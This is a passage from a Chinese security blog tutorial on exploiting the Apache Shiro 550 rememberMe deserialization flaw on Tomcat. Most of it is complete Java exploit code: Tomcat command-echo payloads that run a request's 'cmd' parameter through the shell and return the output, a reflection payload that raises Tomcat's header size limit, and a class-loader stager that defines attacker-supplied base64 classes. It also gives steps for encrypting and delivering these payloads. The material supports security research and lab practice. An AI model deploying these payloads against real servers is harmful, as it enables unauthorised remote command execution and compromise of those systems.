Thread.currentThread().getContextClassLoader()-->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response

shiro攻击测试

这里附上poc,使用方法和上面相同,还是对class进行base64编码,放到cc2中生成序列化文件,如果有用过天下大木头师傅的文件的,这个文件和他有点小区别,解决了命令执行时带空格参数执行不了的问题

```
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Response;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;

import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.util.List;

public class TomcatEcho extends AbstractTranslet {

static {
    try {
        boolean flag = false;
        Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
        for (int i=0;i<threads.length;i++){
            Thread thread = threads[i];
            if (thread != null){
                String threadName = thread.getName();
                if (!threadName.contains("exec") && threadName.contains("http")){
                    Object target = getField(thread,"target");
                    Object global = null;
                    if (target instanceof Runnable){
                        // 需要遍历其中的 this$0/handler/global
                        // 需要进行异常捕获,因为存在找不到的情况
                        try {
                            global = getField(getField(getField(target,"this$0"),"handler"),"global");
                        } catch (NoSuchFieldException fieldException){
                            fieldException.printStackTrace();
                        }
                    }
                    // 如果成功找到了 我们的 global ,我们就从里面获取我们的 processors
                    if (global != null){
                        List processors = (List) getField(global,"processors");
                        for (i=0;i<processors.size();i++){
                            RequestInfo requestInfo = (RequestInfo) processors.get(i);
                            if (requestInfo != null){
                                Request tempRequest = (Request) getField(requestInfo,"req");
                                org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
                                Response response = request.getResponse();

                                String cmd = null;
                                if (request.getParameter("cmd") != null){
                                    cmd =  request.getParameter("cmd");
                                }

                                if (cmd != null){
                                    System.out.println(cmd);
                                    boolean isLinux = true;
                                    String osTyp = System.getProperty("os.name");
                                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                                        isLinux = false;
                                    }
                                    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                                    InputStream inputStream = new ProcessBuilder(cmds).start().getInputStream();
                                    StringBuilder sb = new StringBuilder("");
                                    byte[] bytes = new byte[1024];
                                    int n = 0 ;
                                    while ((n=inputStream.read(bytes)) != -1){
                                        sb.append(new String(bytes,0,n));
                                    }

                                    Writer writer = response.getWriter();
                                    writer.write(sb.toString());
                                    writer.flush();
                                    inputStream.close();
                                    System.out.println("success");
                                    flag = true;
                                    break;
                                }

// System.out.println("success");
// flag = true;
// break;
if (flag){
break;
}
}
}
}
}
}
if (flag){
break;
}
}
} catch (Exception e){
e.printStackTrace();
}

}


public static Object getField(Object obj, String fieldName) throws Exception {
    Field f0 = null;
    Class clas = obj.getClass();

    while (clas != Object.class){
        try {
            f0 = clas.getDeclaredField(fieldName);
            break;
        } catch (NoSuchFieldException e){
            clas = clas.getSuperclass();
        }
    }

    if (f0 != null){
        f0.setAccessible(true);
        return f0.get(obj);
    }else {
        throw new NoSuchFieldException(fieldName);
    }
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}

```

我们直接AES加密修改rememberMe,发现会返回错误提示请求头太大,因此我们要绕过Header长度限制,这也是shiro反序列化时经常遇到的问题

shiro550,看这一篇就够了

这时候需要修改长度限制,具体下面会说(建议先看完max size绕过部分,有大坑),这里先传一个反射修改max size的功能的class文件进行修改,显示200

shiro550,看这一篇就够了

之后再传我们的poc,执行成功

shiro550,看这一篇就够了

更通用的回显方法(全通用)

因为有长度问题,因此要先修改长度

```
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Session;
import org.apache.catalina.connector.Response;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;

import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;

public class TomcatEcho extends AbstractTranslet {

static {
    try {
        boolean flag = false;
        Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
        for (int i=0;i<threads.length;i++){
            Thread thread = threads[i];
            if (thread != null){
                String threadName = thread.getName();
                if (!threadName.contains("exec") && threadName.contains("http")){
                    Object target = getField(thread,"target");
                    Object global = null;
                    if (target instanceof Runnable){
                        // 需要遍历其中的 this$0/handler/global
                        // 需要进行异常捕获,因为存在找不到的情况
                        try {
                            global = getField(getField(getField(target,"this$0"),"handler"),"global");
                        } catch (NoSuchFieldException fieldException){
                            fieldException.printStackTrace();
                        }
                    }
                    // 如果成功找到了 我们的 global ,我们就从里面获取我们的 processors
                    if (global != null){
                        List processors = (List) getField(global,"processors");
                        for (i=0;i<processors.size();i++){
                            RequestInfo requestInfo = (RequestInfo) processors.get(i);
                            if (requestInfo != null){
                                Request tempRequest = (Request) getField(requestInfo,"req");
                                org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
                                Response response = request.getResponse();

                                String cmd = null;
                                if (request.getParameter("cmd") != null){
                                    cmd =  request.getParameter("cmd");
                                }

                                if (cmd != null){
                                    System.out.println(cmd);
                                    InputStream inputStream = new ProcessBuilder(cmd).start().getInputStream();
                                    StringBuilder sb = new StringBuilder("");
                                    byte[] bytes = new byte[1024];
                                    int n = 0 ;
                                    while ((n=inputStream.read(bytes)) != -1){
                                        sb.append(new String(bytes,0,n));
                                    }

                                    Writer writer = response.getWriter();
                                    writer.write(sb.toString());
                                    writer.flush();
                                    inputStream.close();
                                    System.out.println("success");
                                    flag = true;
                                    break;
                                }
                                if (flag){
                                    break;
                                }
                            }
                        }
                    }
                }
            }
            if (flag){
                break;
            }
        }
    } catch (Exception e){
        e.printStackTrace();
    }

}


public static Object getField(Object obj,String fieldName) throws Exception{
    Field f0 = null;
    Class clas = obj.getClass();

    while (clas != Object.class){
        try {
            f0 = clas.getDeclaredField(fieldName);
            break;
        } catch (NoSuchFieldException e){
            clas = clas.getSuperclass();
        }
    }

    if (f0 != null){
        f0.setAccessible(true);
        return f0.get(obj);
    }else {
        throw new NoSuchFieldException(fieldName);
    }
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}
```

Header 长度限制绕过

修改max size(其实不是很稳定)

通过反射修改 改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这个值会影响新的Request的inputBuffer时的对于header的限制。但由于request的inputbuffer会复用,所以在修改完maxHeaderSize之后,需要多个连接同时访问(burp开多线程跑),让tomcat新建request的inputbuffer,这时候的buffer的大小就会使用修改后的值。

```
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

@SuppressWarnings("all")
public class TomcatHeaderSize extends AbstractTranslet {

static {
    try {
        java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
        java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
        java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
        java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
        java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
        contextField.setAccessible(true);
        headerSizeField.setAccessible(true);
        serviceField.setAccessible(true);
        requestField.setAccessible(true);
        getHandlerMethod.setAccessible(true);
        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
        org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
        org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
        for (int i = 0; i < connectors.length; i++) {
            if (4 == connectors[i].getScheme().length()) {
                org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
                    Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
                    for (int j = 0; j < classes.length; j++) {
                    // org.apache.coyote.AbstractProtocol$ConnectionHandler
                        if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
                            java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
                            java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                            globalField.setAccessible(true);
                            processorsField.setAccessible(true);
                            org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
                            java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                            for (int k = 0; k < list.size(); k++) {
                                org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
                              // 10000 为修改后的 headersize 
                                headerSizeField.set(tempRequest.getInputBuffer(),10000);
                            }
                        }
                    }
                     // 10000 为修改后的 headersize 
                    ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
                }
            }
        }
    } catch (Exception e) {
    }
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}
```

使用cc链读取class生成ser文件然后把ser文件进行AES加密
注意,很多不成功就是死在AES加密上,使用我之前提供的python加密脚本会出现加密结果过长的问题导致修改max size的payload也会显示header过长
这里提供天下大木头师傅的github[https://github.com/KpLi0rn/ShiroVulnEnv](https://github.com/KpLi0rn/ShiroVulnEnv),里面自带一个AESEncode加密脚本,可以看到他的外部库都是调用的shiro自身的,所以用这个脚本加密起来会和shiro百分百匹配

shiro550,看这一篇就够了

利用 CloassLoader 加载来绕过长度限制(适用于Tomcat 7,8,9)

思路是给rememberMe传递一个classloader,让他接收一个执行命令的类来加载
这里给出类加载器的源码,使用CB链进行加载,经测试cc11等加载完之后loader也会出现请求头较大的情况因此选择CB

```
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Field;
import java.util.Iterator;

public class TD extends AbstractTranslet {
static {
Object jioEndPoint = GetAcceptorThread();
if (jioEndPoint != null) {
java.util.ArrayList processors = (java.util.ArrayList) getField(getField(getField(jioEndPoint, "handler"), "global"), "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();
Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)) {
continue;
}
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1);
org.apache.catalina.connector.Response response = request.getResponse();
String code = request.getParameter("class");
if (code != null) {
try {
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(code);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(TD.class.getClassLoader(), classBytes, 0, classBytes.length);
cc.newInstance().equals(new Object[]{request, response});
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
}

public static Object getField(Object object, String fieldName) {
    Field declaredField;
    Class clazz = object.getClass();
    while (clazz != Object.class) {
        try {

            declaredField = clazz.getDeclaredField(fieldName);
            declaredField.setAccessible(true);
            return declaredField.get(object);
        } catch (Exception e) {
        }
        clazz = clazz.getSuperclass();
    }
    return null;
}

public static Object GetAcceptorThread() {
    Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
    for (Thread thread : threads) {
        if (thread == null || thread.getName().contains("exec")) {
            continue;
        }
        if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
            Object target = getField(thread, "target");
            if (!(target instanceof Runnable)) {
                try {
                    Object target2 = getField(thread, "this$0");
                    target = thread;
                } catch (Exception e) {
                    continue;
                }
            }
            Object jioEndPoint = getField(target, "this$0");
            if (jioEndPoint == null) {
                try {
                    jioEndPoint = getField(target, "endpoint");
                } catch (Exception e) {
                    continue;
                }
            }
            return jioEndPoint;
        }
    }
    return null;
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}

```

执行命令的参数,base64对class进行编码,然后post传参class给classloader,CB链前面讲过这里不贴

```

import java.io.InputStream;
import java.util.Scanner;

public class cmd {
public boolean equals(Object req) {
Object[] context=(Object[]) req;
org.apache.catalina.connector.Request request=(org.apache.catalina.connector.Request)context[0];
org.apache.catalina.connector.Response response=(org.apache.catalina.connector.Response)context[1];
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
response.setContentType("text/html;charset=utf-8");
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
response.getWriter().println("----------------------------------");
response.getWriter().println(output);
response.getWriter().println("----------------------------------");
response.getWriter().flush();
response.getWriter().close();
} catch (Exception e) {
e.printStackTrace();
}
}
return true;
}
}

```

执行结果

shiro550,看这一篇就够了

总结

在写这篇文章的过程中断断续续踩了无数的坑,当然只有踩坑的时候也就是进步的时候,最终把问题解决真是神清气爽,这篇文章参考了不少师傅的文章,里面记录了我的心得以及踩坑与解决思路,希望大家在看我文章的时候能学有所得,学有所思。在此感谢Sentiment师傅对我的大力帮助。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月12日14:09:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   shiro550,看这一篇就够了https://cn-sec.com/archives/1868866.html